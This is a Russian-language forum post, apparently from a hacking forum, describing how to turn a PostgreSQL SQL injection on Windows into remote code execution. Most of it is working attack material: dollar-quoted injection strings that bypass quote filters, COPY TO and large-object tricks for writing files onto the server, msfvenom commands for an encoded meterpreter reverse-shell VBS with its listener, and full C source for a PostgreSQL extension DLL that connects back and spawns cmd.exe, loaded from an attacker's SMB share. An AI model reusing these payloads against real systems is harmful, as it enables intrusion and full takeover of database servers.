D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
./gcc
Так как во множестве систем используется Windows, я решил проверить некоторые кейсы, связанные с PostgreSQL. Мне буквально недавно дали сервис на проверку, и такая ситуация: я вижу файл с данными от БД, но так как БД открыта только локально, не подключиться. Естественно, у меня был исходный код и доступ к серверу, но ничего на тот момент не пришло в голову. Короче, эта статья о том, что можно проверить, если у вас похожий тупик.Система, описанная в этой статье, принадлежит мне и приведена как пример к случаю, описанному выше.
Мой лимит и мои возможности
У меня обычная слепая SQL-инъекция, пустая страница, так что могу использовать time-based атаки и могу использовать UNION. Представим, что наш запрос таков:Код: Скопировать в буфер обмена
SELECT name, surname FROM users WHERE name = {n}
Уязвимость у нас в части с {n}, нужно понять возможности PostgreSQL. Начнём с того, одно из замечательных преимуществ SQL-инъекций в PostgreSQL заключается в том, что они позволяют выполнять стековые запросы, записать данные при помощи COPY TO или создать функцию, воспользовавшись какой-то библиотекой.
Сервисов было два, в одном я не мог воспользоваться ;, ' и ", а в другом мог только ;. Также во втором случае инъекция не была слепой, но именно для этих техник это не имеет значения.
SQLi
COPY TO
Главная разница между двумя сервисами — это stacked queries. Итак, обе уязвимости в сервисах, которые работают на Windows, так что у меня два варианта: либо загрузить JSP, либо какой-то .bat или .vbs, который рано или поздно сработает.У меня нет никакого опыта с Windows; чтобы вы знали, я недавно понял, что PowerShell принимает команды типа ls. Первым делом я попытался найти аналог cron в Windows, нашёл, но файлы там никак не отредактировать — нужно особое разрешение (C:\Windows\System32).
Код: Скопировать в буфер обмена
schtasks /query /v /fo LIST | findstr /i ".bat .vbs"
Так что это трогать я не буду. В системе был установлен какой-то отдельный .jar, который предотвращал выполнение файлов типа JSP. Я могу удалить или изменить этот файл. У меня в таких случаях два выбора: отредактировать .jar и загрузить на сервер либо:
Код: Скопировать в буфер обмена
copy (select '') to 'C:\....\JSPComp.jar';
Представим, что нам нужно удалить JSPComp.jar (, единственное ограничение — это кавычки. Значит, кое-что очень странное в этой системе: она не принимала первое значение внутри $$ или $ТАГ$, а просто принимала её как %27, но просто ' давало ошибку. А во всех остальных значениях работало только $$ или $ТАГ$. История с тегами была описана в этой документации: https://www.postgresql.org/docs/9.2/sql-syntax-lexical.html
Долларовое цитирование ($$) позволяет записывать текст без экранирования кавычек. Также можно применять долларовое цитирование с уникальными тегами для упрощения работы с вложенными структурами, будь то $XSS$ или старый добрый $ТАГ$.
Так что запрос выглядит примерно так:
Код: Скопировать в буфер обмена
Код:
SELECT name, surname FROM users WHERE name = 'Xm'; copy (select $XSS$Xm$XSS$) to 'C:\...\JSPComp.jar';
http://local/?name=%27Xm%27;+copy+(select+$XSS$Xm$XSS$)+to$$C:\...\JSPComp.jar$$;--+-
Изображение [1]
Код: Скопировать в буфер обмена
Код:
Was expecting one of:
")" ...
"," ...
"/" ...
"*" ...
" " ...
"-" ...
Однако в некоторых приложениях, особенно тех, которые используют корпорации, есть некоторые кастомные VBS, которые можно просто отредактировать и вставить свой шелл.
Получаем VBS:
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.121.19 LPORT=4444 -e x86/shikata_ga_nai -f vbs
Ждём шелл
Код: Скопировать в буфер обмена
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run; exit -y"
Изображение [2]
Код: Скопировать в буфер обмена
Код:
Replace:
_\r?\n
With:
(тут пусто)
Replace:
\r\n
With:
:
Replace:
\t
With:
(тут пусто)
Код: Скопировать в буфер обмена
xxd -p -c 99999 test.vbs > output.hex
Можно воспользоваться следующим запросом, и всё должно сработать. Кроме hex, можно также воспользоваться base64:
Код: Скопировать в буфер обмена
COPY ( SELECT regexp_replace( convert_from(decode('', 'hex'), 'utf-8'), '\n', '', 'g' ) ) TO 'C:\....\1.vbs';
Изображение [3]
Библиотеки
Тема с библиотеками для меня такова: либо беру уже готовый код и всё работает, либо редактирую готовый код с помощью GPT. Нужно просто поднять сервис в той же ОС и проверить, работает ли всё. Здесь уже есть пример библиотеки: https://book.hacktricks.xyz/pentest...esql-injection/rce-with-postgresql-extensionsВ некоторых местах утверждают, что можно загружать библиотеку извне, но это возможно только в Windows и только в том случае, если можно открыть Samba, которая доступна извне. Особенность Windows, как я понял.
В целом есть три способа загрузки файла: один через COPY TO (напрямую, описал выше), другой через Samba, а третий через любой файл, например фото (описал в третьей части статьи).
В качестве примера возьму простой реверс-шелл:
Код: Скопировать в буфер обмена
Код:
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
Datum
connect_back(PG_FUNCTION_ARGS)
{
/* convert C string to text pointer */
#define GET_TEXT(cstrp) \
DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
/* convert text pointer to C string */
#define GET_STR(textp) \
DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
/* Сюда PORT */
hax.sin_port = htons(4444);
/* Сюда IP */
hax.sin_addr.s_addr = inet_addr("127.0.0.1");
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
PG_RETURN_VOID();
}
...Много много времени спустя...
(Если что, у меня установлены Visual Studio Build Tools в Windows Server 2012 с PostgreSQL 9, конфигурацию делал не я.)
Изображение [4]
Изображение [5]
Код:
create or replace function xss() returns void as $$...\xss.dll$$, $$connect_back$$ language C strict;
SELECT xss();
Изображение [6]
Код: Скопировать в буфер обмена
Код:
там где у нас xss.dll
sudo impacket-smbserver xss .
В том сервере
create or replace function xss() returns void as $$\\192.168.21.18\xss\xss.dll$$, $$connect_back$$ language C strict;
SELECT xss();
Изображение [7]
Large Objects
PostgreSQL предоставляет структуру под названием "большой объект" (large object), которая используется для хранения данных, с которыми трудно работать целиком. Большие объекты (LOB), такие как BLOB (Binary Large Object) и CLOB (Character Large Object), предназначены для хранения больших объемов данных, включая изображения, файлы или крупный текст. В отличие от функции COPY TO, преимущество больших объектов заключается в том, что их содержимое можно экспортировать обратно в файловую систему как идентичную копию исходного импортированного файла.pg_largeobject — это системный каталог PostgreSQL, который хранит данные больших объектов. Каждый большой объект разбит на страницы фиксированного размера (обычно 2048 байт), и каждая страница хранится как отдельная запись в таблице pg_largeobject. Основные поля этого каталога: loid (идентификатор), pageno (номер страницы внутри большого объекта.), data (содержимое страницы).
lo_import — используется для импорта файла в качестве большого объекта. Она принимает путь к файлу на сервере и возвращает идентификатор большого объекта (loid).
lo_export — используется для экспорта большого объекта из базы данных в файл на сервере. Она принимает идентификатор большого объекта и путь к файлу, куда данные будут экспортированы.
Традиционно, мы должны создать большой объект, который будет содержать нашу бинарную полезную нагрузку (нашу пользовательскую DLL), экспортировать этот большой объект в файловую систему удалённого сервера, создать UDF Postgres, который будет использовать экспортированную DLL как источник и запустить UDF и выполнить произвольный код.
Код: Скопировать в буфер обмена
Код:
select lo_import('C:\\Windows\\test.vbs', 1);
update pg_largeobject set data=decode('{HEX}', 'hex') where loid=1;
select lo_export(1, 'C:\\1.vbs');
Код: Скопировать в буфер обмена
Код:
select lo_import('C:\...\test.jpg', 1);
select lo_export(1, 'C:\..\test.jsp');
Изображение [8]
Изображение [9]